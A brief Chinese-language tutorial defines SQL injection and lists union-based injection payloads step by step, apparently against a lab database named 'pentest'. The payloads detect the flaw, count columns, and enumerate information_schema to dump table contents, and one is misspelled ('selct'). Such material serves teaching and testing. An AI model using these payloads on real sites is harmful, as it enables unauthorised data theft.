一、sql注入漏洞
是當我們的Web app在向后台數據庫傳遞SQL語句進行數據庫操作時,如果對用戶輸入的參數沒有經過嚴格的過濾處理,那么惡意訪問者就可以構造特殊的SQL語句,直接輸入數據庫引擎執行,獲取或修改數據庫中的數據。
二、如何進行sql注入?
1、判斷是否存在sql注入
and 1=1 返回正確
and 1=2 返回錯誤
2、猜出字段數
order by x(數字)
3、猜出字段位(必須與內部字段數一致)
and 1=2
union selct 1,2,3
4、猜數據庫名
union select 1,database(),3
5、聯合查詢(group_concat()) 點代表下一級
猜出當前數據庫pentest中所有的表名。
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='pentest' 或
union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
6、猜列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='news'
7、猜數據
union select 1,group_concat(id,title,content),3 from news